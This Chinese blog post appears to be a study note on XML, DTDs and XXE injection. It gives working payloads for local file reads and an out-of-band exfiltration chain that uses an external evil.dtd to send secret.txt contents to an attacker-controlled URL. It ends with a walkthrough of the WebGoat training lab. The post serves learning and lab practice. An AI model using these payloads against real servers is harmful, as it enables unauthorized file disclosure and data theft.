XXE初步学习

搞这个东西让我懂了一个道理:首先要完全掌握漏洞的相关知识才能成功实现攻击,一知半解完全就是看脸了…


XXE初步学习

XML与DTD

XML

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据

XML作为传输数据的格式之一,主要是将数据以树的方式存储,能够方便的以对象的方式读取数据。

基本格式

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<info>MYTEST</info>
</note>

第一行是XML声明,其定义了XML使用的版本,以及内容使用的编码。
之后的则是节点,其中<note>是作为根节点存在。之后的<info>作为其的子节点。

XML的属性必须要用引号括起来。
XML中,必须要有根节点,也就是说要有一个独立的节点,其他的属性归在这个节点之下

DTD

DTD 的作用是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构。如果我们需要使用DTD,则需要在文档中包括下列内容:

1
<!DOCTYPE 根元素 [元素声明]>

定义属性:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (child1, child2)>
<!ELEMENT child1 (#PCDATA)>
<!ELEMENT child2 (#PCDATA)>
]>

这里的意思是:定义一个note属性的文档(也就是说note为根节点),然后note之下有两个元素child1,child2,两个的属性都定义为(#PCDATA)
(PCDATA 的意思是被解析的字符数据(parsed character data)。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。)

除了直接指明包含子节点,也可以指定包含任意内容来包含子节点

1
<!ELEMENT note any>

外部文档

如果说这个DTD文件是外部的文档的话,我们应该将头部修改为如下定义:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

这里定义一个和上面基本相同的文件,不过这里我们使用外部文档:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<child1>test for</child1>
<child1>xml and dtd</child1>
</note>

其中note.dtd文件的内容如下:

1
2
3
<!ELEMENT note (child1, child2)>
<!ELEMENT child1 (#PCDATA)>
<!ELEMENT child2 (#PCDATA)>

实体

  • 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。
  • 实体也可以来自外部

定义如下:

1
<!ENTITY 实体名称 "实体的值">

如果来自外部的话,和外部文档定义类似:

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

当时用实体的时候,使用&实体名称;的格式。并且如果定义了根节点,那么此时要在根节点的声明下,如下例子:

1
2
3
4
5
6
7
8
<!DOCTYPE student [
<!ELEMENT student ANY>
<!ENTITY grade "90">
]>

<student>
&grade;
</student>

此时grade的外部一定要是当前文档的属性包括,不然的话会找不到当前的定义。
测试:如果此时去掉了student的Element声明,此时grade就不需要在student下了

参数实体
这种实体会先进行DTD解析。并且也只能在DTD中使用

1
2
3
<!ENTITY % 实体名 "实体值">
<!ENTITY % 实体名 SYSTEM "uri">
% 实体名;

这种特性会在%实体名;处对这个对象进行解析。比如下列例子:

1
2
<!ENTITY % a "<!ENTITY b 'app'>">
% a;

解析后会变成

1
<!ENTITY b 'app'>

类似于宏,不过根据规定,不能够有对自己内部的参数实体的引用,也就是说自己定义的参数实体不能被自己的实体引用

XXE

外部实体注入(XML External Entity),也就是通过包括外部实体的方式,实现任意文件读取的功能。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE attacker [
<!ENTITY item SYSTEM "file:///">
]>
<label>&item;</label>

通过类似的应用方法调用协议,就能够读取到我们需要读取的数据,实现数据泄露。

远程数据泄露

有的时候,我们及时成功的注入了,服务器那边也没有给与我们回显怎么办(比如说,我们这个xml传输只是作为数据存储使用,所以此时没有回显给我们看到)?这个时候我们就要考虑利用一次DTD作为跳板,让远程的数据在我们可以控制的服务器上显示。
这种时候,我们首先利用参数实体解析的特点,首先发往对面服务器的数据为:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://to/oursite.com/evil.dtd">
%xxe;
]>
<root>&evil;</root>

此时,这个dtd在服务器上机会开始被解析(evil的使用时关键之一)。当解析遇到了 url 的时候,便开始将这个实体解析。由于发现是一个外部连接,于是开始解析外部的dtd实体。此时我们外部的实体中内容为:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % file SYSTEM "file:///C://Users//secret.txt">
<!ENTITY % param "<!ENTITY evil SYSTEM 'http://oursite.com/record?text=%file;'>">
%param;

此时,我们外部实体中的数据也是一个xml,并且我们这边会将内容发送至服务器那解析。于是内容就变成了

1
<!ENTITY evil SYSTEM 'http://oursite.com/record?text=[secret.txt的文件内容]'>

于是这个对象就定义完成了。服务器此时遇到了evil实体后,就会尝试发起请求,并且这个请求的url就是:

1
http://oursite.com/record?text=[secret.txt的文件内容]

于是就能够实现数据的泄露!。

疑问:为什么不直接将这个地址写死呢?
比如说http://localhost:8081/landing?text=file:///C://Users//secret.txt这样的链接可行吗?

如果直接写死的话,此时不经过解析,所以不会打开文件。

疑问:为什么不再本地进行解析
比如说:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE comment [
<!ENTITY % file "file:///C://Users//secret.txt">
<!ENTITY % xxe "<!ENTITY test SYSTEM 'http://localhost:8081/landing?text=%file;'>">
%xxe;
]>

这个是XML语法规定,参数实体引用 \\"%file;\\" 不能出现在 DTD 的内部子集中的标记内。换句话说,当实体声明(也就是一个<ENTITY>定义)的时候,不能够有对自己内部的参数实体的引用。但是,如果说引用了数据的标记不是内部子集,也就是来自外部的数据的话,就能够实现对该数据的引用

如何检测是否有漏洞

第一步,检测是否有 XML 的解析器

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY test "test for xml">
]>
<root>&test;</root>

如果有的话,检测能否支持外部实体:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY %test "http://yoursite.com/some.xml">
%test;
]>

查看服务器日志即可。

实例

WebGoat有一个和评论区留言有关的题目,可以看到抓到的包为:

这里能够看到,是一个简单的json传输块。题目还提到说,这个位置的利用方法是JSON endpoints being vulnerable to XXE attacks,则此时猜想,服务器后台可以解析XML,那么此时将包中的:

1
Ccontent-type

属性中的json改成xml,并且将发包的内容改成:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE comment [
<!ELEMENT comment ANY>
<!ENTITY name SYSTEM "file:///C://">
]>
<comment>
<text>
&name;
</text>
</comment>

即可实现泄露数据

远程数据泄露

第三个和评论区相关的题目没有回显,我们得利用之前提到的数据泄露的方法。我们此时和上述介绍的做法类似,首先要新建一个evil2.dtd

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % file SYSTEM "file:///C://Users//link//.webgoat-8.0.0.M9//XXE//secret.txt">
<!ENTITY % param "<!ENTITY evil SYSTEM 'http://localhost:8081/landing?text=%file;'>">
%param;

然后将原先发送的数据包内容改成:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE comment [
<!ENTITY % xxe SYSTEM "http://localhost:8081/files/WebGoat/evil2.dtd">
%xxe;
]>
<comment>
<text>
&evil;
</text>
</comment>

然后我们在WebWolf(搭建在本地8081端口上的临时服务器)中查看访问得到的数据:

这里看到的 text 中的数据就是我们泄露的数据啦

参考链接:
https://www.jianshu.com/p/5996942a3a39